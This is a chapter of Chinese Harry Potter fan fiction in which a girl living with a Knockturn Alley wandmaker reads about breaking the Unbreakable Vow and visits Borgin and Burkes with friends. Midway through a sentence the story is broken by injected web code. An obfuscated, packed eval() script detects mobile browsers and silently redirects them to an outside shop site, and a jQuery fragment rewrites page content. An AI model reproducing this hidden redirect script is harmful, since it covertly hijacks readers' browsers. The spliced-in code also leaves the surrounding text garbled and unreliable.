吃过晚饭，陈守熹收拾着桌子，巴德用魔法清洗碗盘和餐具。
“我明天能不能和哈珀他们一起去博金-博金商店...”陈守熹深吸一口气，说道。
她想着在达克尼斯书店亚伯特和巴德的对话——如果魔杖制作人真的被说服了的话，那么他大概率会答应。
巴德皱起了眉。
“哈珀么...”他叹了一口气，来到书桌旁，随手抓过一卷羊皮纸，抽出一只羽毛笔。
陈守熹看见他在羊皮纸上用潦草的字迹写道：
亲爱的佩特拉，
我想知道明天哈珀会做些什么，和谁在一起。
你诚挚的，
巴德
巴德写完之后，把这一块羊皮纸撕下来，绑在猫头鹰的脚上：“去吧，带给佩特拉——把他的回信带过来。”棕色的猫头鹰轻轻啄了一下巴德的手，表示它听明白了，接着，张开衰老，羽毛凌乱的双翅，飞出了窗户。
没过一会儿，它便带回了佩特拉的回信——这个时候，陈守熹已擦完桌子了。
佩特拉在回信中这样写：
亲爱的巴德，
哈珀明天和戴斯一起去找博金。他邀请了守熹同行。
PS：我太明白为什么你需要与我确认此事。几个和守熹一样大的孩子天天都在街上四处乱跑。
PS2：你明天一定要让她出来，哈珀很期待再次见到她
看完了信，巴德沉默了一会儿。半晌之后，他叹了一口气：“好吧，你可以去——我陪你到你们的见面地点。”
陈守熹知道，这是已经是巴德做能出的最大的让步，点了点头，跑到自己的房间里继续去看《那些被称作黑暗的法术》了。
这一次，陈守熹直接翻到最后的结论。
“实验证明，大脑封闭术是一种可行的破解牢不可破咒的办法。大脑封闭术所对抗的对象，是牢不可破咒的见证人留下的魔法，牢不可破咒破解是否成功与与契约对象的摄神取念水平无关，而是取决于契约缔结时见证人的摄神取念水平，以及他在这个咒语中释放的魔力。当契约中的一方使用大脑封闭术成功“欺骗”牢不可破咒在他的灵魂里留下的魔力时，牢不可破咒的惩罚机制就不会发生作用。然而，这种欺骗一旦停止，违背契约的契约者就会立刻死亡。让我们牢记格里芬·克朗、斯尔曼其·格林顿和莫普思·韦伯死亡的教训，并且感谢他们参与实验，用生命验证大脑封闭术破解牢不可破咒的可行性...”
看到这里，陈守熹倒吸了一口凉气。她翻回前面几页，找到了“格里芬·克朗、斯尔曼其·格林顿和莫普思·韦伯”这几个名字，发现他们全部死于作者的实验。文章里说，他们是自愿参与这场实验，在实验开始前被告知了死亡的风险，并且他们的家属也得到了丰厚的赔偿...
陈守熹明白为什么这篇文章会出现在一本黑魔法研究的书里了。恐怕不是因为破解牢不可破咒被认为是不诚实的，最少不仅仅是——这个作者这种蔑视生命，用活人做实验的态度，令人发指...
“砰砰...”
两声敲门声打断了陈守熹的思绪。巴德探进头来。
“还在看书吗？”
陈守熹点点头。
魔杖制作人的神情变得有些惆怅。
“真好啊。”他忽然说。
“什么？”陈守熹不明白。
巴德咬了咬嘴唇，似乎在犹豫是不是该与陈守熹说起过去的事。最后他还是开口了：“知道吗？你让我想起了我年轻的时候——在霍格沃茨，我也经常在睡觉前看书。”
陈守熹有些惊讶。魔杖制作人看起来粗鄙、懦弱、有不少坏心思，怎么看也不像是一个喜欢读书的人...
“——我去睡了，一会儿你把过道的灯关一下。”
“好的，晚安。”
“晚安。”
巴德走了之后，陈守熹想着他刚才说的话，忍不住开始猜测巴德的过去。她很难把眼前这个对黑魔王的名字都谨小慎微的，两鬓微白的男人和一个爱读书的青涩少年联系起来。是什么让一个好奇懵懂的孩子变成翻倒巷的非法魔杖商人？又是什么让一个普通的霍格沃茨学生变成伏地魔的追随者？
巴德看起来还在怀念过去，那他想过改变吗？在翻倒巷做一个魔杖制作人，听命于伏地魔和他的部下真的是他想要的吗...
思考着这些问题，陈守熹渐渐疲惫。她迷迷糊糊地起身关了灯，躺在床上睡了。
第二天早上，陈守熹在翻倒巷五号见到了哈珀几个人。
和巴德作别之后，他们沿着脏兮兮的街道慢悠悠地前行。哈珀一副忧心忡忡的样子，好几次开口询问“这个挂坠到底能不能修好”，接着，还不等另外几个人回答，他就立刻说“哎呀，我真傻，这肯定只有到了才能知道”。
戴斯、米勒和南都在尝试着安慰他，南还讲了几个陈守熹没有听懂的笑话，但是这并没有让哈珀放松下来。
几分钟后，几人来到了目的地。
博金-博金几乎是整个翻倒巷最显眼的商店。
随着戴斯推开商店的门，门后传来一阵清脆的铜铃声。
好像是受到了某种召唤一般，身材微微发福的博金先生听到铜铃的声音，立刻停止了手上的工作，笔直地站在了柜台后面，脸上端起谄媚的笑容。
接着，当他看见从门口走进来的几个小家伙的时候，脸上的笑容在一瞬间消失了。他的表情换成了懒散而无所谓。博金怠惰地看着前方，连一句“你好”也没有说。
哈珀走到柜台前，把昨天收集的碎片从布袋中拿出来，小心翼翼地摆在柜台上——他对博金的态度可没有那么小心翼翼：“这个还能修吗？”
博金瞧了瞧柜台上的挂坠碎片：“科尔姆的挂坠，xx届世界杯的纪念品，为了模拟当时飞行的效果，挂坠里面被嵌入了一个特殊的魔法回路，修起来可不容易——也许你来这之前应该先去问你的教父要点儿钱。”
“多少钱？”哈珀不理会博金言语中的瞧不起，淡淡地问价。
博金打了个哈欠：“让我想想...看在佩特拉的份上，就收你三十加隆吧。”
“三十？”哈珀一脸地难以置信，接着，他的眉头皱了起来，“法克...”
他沉默着，似乎在思考该怎样搞到这笔钱。
“这个东西，是九十加隆吗？”忽然间，南指着一旁的一个枯萎的人手上面的价签问道。
博金有些惊讶地看了南一眼，兴致似乎高了一些：“九十二加隆。”他说。“它的光只有拿着它的人才能看见。很有意思，是不是？”
南笑着点点头：“上周五我恰好遇到了一位外面来的巫师，他说他以十加隆将光荣之手卖给了你。”
博金的脸色一变。
“这么看的话，你会把你的商品以它本身九倍的价格出售，博金先生。我是不是该说，科尔姆的挂坠只需要三个加隆加上六个西克就可以修好了？”
“帐不是这么算的。”博金摇了摇头。
“那么您觉得五加隆怎么样？这样您还可以赚一点儿。”
“五加隆？”博金嗤之以鼻，“你看到那个挂坠碎成什么样了吗？重新做一个都比修好它费劲！二十加隆，这是底价，不可能再少了。”
南继续和博金讨价还价。他们最终以十加隆的价格成交。博金和他们约好三天后来取。
当哈珀把口袋里的钱拿出来递给博金的时候，商店的老板嘟囔着：“我就知道，身上流着妖精的血，脑子里就只有钱。这才多大，就知道满嘴要价...”
“你胡...”哈珀愤怒地停住翻找钱币的动作，眼里的怒火像是即将爆发的火山——他立刻被一旁的戴斯拦下。后者对他使了个眼色。
“我相信您和我一样喜欢钱——也许更有甚之，博金先生。”南彬彬有礼地说，“祝您度过愉快的一天。”他说着，淡然地走出商店。
哈珀等人立刻跟了上来。
“这家伙太过分了——他竟然拿你的身世说事。”
“我认为他并不讨厌妖精，只是不高兴我让他少挣了二十个加隆。”
犹豫了一下，陈守熹终究是忍不住好奇心：“对不起，也许这个问题有点儿冒昧，我只是比较好奇，博金先生说你的身上流着妖精的血...”
“我的母亲是人类，父亲是妖精。”南平静地说。
“所以，像你这样的情况，也会去霍格沃茨上学吗？”
戴斯哈哈大笑。
“我已经十四岁了。”南解释，“还没有收到录取通知书。”
“哦...我...我很遗憾——也许你可以给邓布利多写一封信...”
“给他写信？”米勒的表情
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213753|139305||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
像是见了鬼，“梅林爵士团一级勋章，国际巫师联合会会长，威森加摩首席魔法师，他怎么会看一个混血妖精的信？”
他当然会的。陈守熹在心里说。他甚至会耐心地给一个麻瓜孩子（佩妮）回信。但是在她开口之前，陈守熹感觉到了牢不可破咒的警告。她不能暴露出能够让别人怀疑她“未卜先知”的迹象。
“如果不是南的妈妈教了他几招，他可能这辈子都只能像一个麻瓜一样生活！”哈珀愤愤不平地说，好像“和麻瓜一样生活”和天塌下来了一样糟糕。
陈守熹本来把话题引导霍格沃茨上，还想打听一下巴德的过去，可是对话到了现在这种地步，最好还是不要再提起学校。
“说起来，还要感谢巴德，多亏了他卖给了南一根魔杖。”戴斯说。
“妖精不是可以无杖施法吗？”
南的脸色变得不怎么好看。
“南的父亲在他没出生的时候就不见了。没有妖精愿意接纳他。他们认为和人类通婚是一种耻辱。”戴斯低声解释。
陈守熹低下头：“对不起...”
“没关系。”南快速说，“我早就不在乎这些事情了——不管怎么说，我现在可以使用魔法了，不是吗？而且我的魔杖没有在魔法部备案。我比任何一个巫师都要自由。”
陈守熹听得出，他的语气不怎么自然，这么说更像是自我安慰。
几个人没有再提起这件事，陈守熹也没有找到其他机会询问巴德的过往。
他们继续在翻倒巷转悠着。哈珀等人很快发现陈守熹对这个巷子一无所知。于是他们开始很热情地向她介绍。
“看到那边的那一排平房了吗？曼蒂的人都住在那里。”
曼蒂...陈守熹感觉这个名字有点儿熟悉。可她一时没有想到在哪里听到过这个名字。
“她的那些‘ladies of the night（夜晚的女人）[ Lady of the night指妓女]’...”
陈守熹不知道“lady of the night”是什么意思。她猜想那是一种特殊的女巫，也许在夜晚有更强大的魔力。她没有开口询问，因为她不想让自己看起来好像对巫师世界一无所知。
“还有米勒，米勒和‘夜晚的女人’住在一起...是不是，米勒？”南说着，用一种别有深意的目光看着米勒。
米勒无奈地摇了摇头。
几个人都哈哈大笑起来。
陈守熹不明白这有什么可笑的——也许他们觉得米勒和一群女人住在一起很好笑？
陈守熹还是没有问，她跟着大家“哈哈”地笑了两声。
接着，几个人来到了达克尼斯书店附近。哈珀指着不远处的一条小道说：“那边很危险，十几年前，有人在那里做过一些禁忌实验，那里还有一些诅咒的残留。”
“住在那块的那个巫师性格怪得很，你最好离他远点儿。”
“那边那条路是安全的——佩特拉派了人每天在那里巡逻。”
“...”
“谢谢你们告诉我这些，我完全不知道这里有这么多的事情需要注意（Thank you for informing me about all of this，I didn’t know there were so many things to be careful of here）...”
“梅林的胡子，你怎么说话文绉绉的...”
“啊，真的吗？”
“是啊，我会说‘Thanks a lot for letting me in on all this. I had no idea there were so many nuances here’...”
“你得让自己看起来凶一点儿——你现在看起来就像是一个外面来的人。这样可不行——人们总喜欢欺负外面的人。”
“你会骂人吗，绍？像bloody（血淋淋的），troll-faced（巨怪脸）[ Bloody是一个真实存在的粗话，troll-faced是我编的]之类的...”
陈守熹茫然地摇了摇头。
几个小伙伴笑了起来。
“来吧，我来教你，跟我念：‘bloody’...”